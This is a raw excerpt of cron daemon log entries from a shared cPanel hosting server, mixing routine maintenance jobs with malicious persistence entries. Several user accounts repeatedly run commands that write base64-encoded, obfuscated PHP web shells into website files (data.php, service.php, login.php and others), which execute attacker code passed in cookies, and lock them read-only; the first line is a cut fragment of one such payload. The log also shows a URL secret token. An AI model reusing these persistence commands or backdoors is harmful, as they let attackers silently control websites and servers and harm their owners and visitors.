CAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:44:01 medusa CROND[27444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:44:01 medusa CROND[27445]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:44:01 medusa CROND[27447]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:44:01 medusa CROND[27448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:44:01 medusa CROND[27449]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:44:01 medusa CROND[27450]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:44:01 medusa CROND[27453]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:44:01 medusa CROND[27454]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:44:01 medusa CROND[27455]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:44:01 medusa CROND[27451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:44:01 medusa CROND[27463]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:45:01 medusa CROND[19561]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19601]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:45:01 medusa CROND[19602]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:45:01 medusa CROND[19603]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:45:01 medusa CROND[19604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:45:01 medusa CROND[19605]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19607]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:45:01 medusa CROND[19610]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:45:01 medusa CROND[19612]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:45:01 medusa CROND[19619]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:45:01 medusa CROND[19620]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:45:01 medusa CROND[19627]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19622]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Apr 19 08:45:01 medusa CROND[19632]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:45:01 medusa CROND[19633]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:45:01 medusa CROND[19631]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:45:01 medusa CROND[19638]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:45:01 medusa CROND[19639]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:45:01 medusa CROND[19635]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:45:01 medusa CROND[19630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:45:01 medusa CROND[19629]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:46:01 medusa CROND[11669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:46:01 medusa CROND[11676]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:46:01 medusa CROND[11678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:46:01 medusa CROND[11681]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:46:01 medusa CROND[11682]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:46:01 medusa CROND[11684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:46:01 medusa CROND[11687]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:46:01 medusa CROND[11690]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
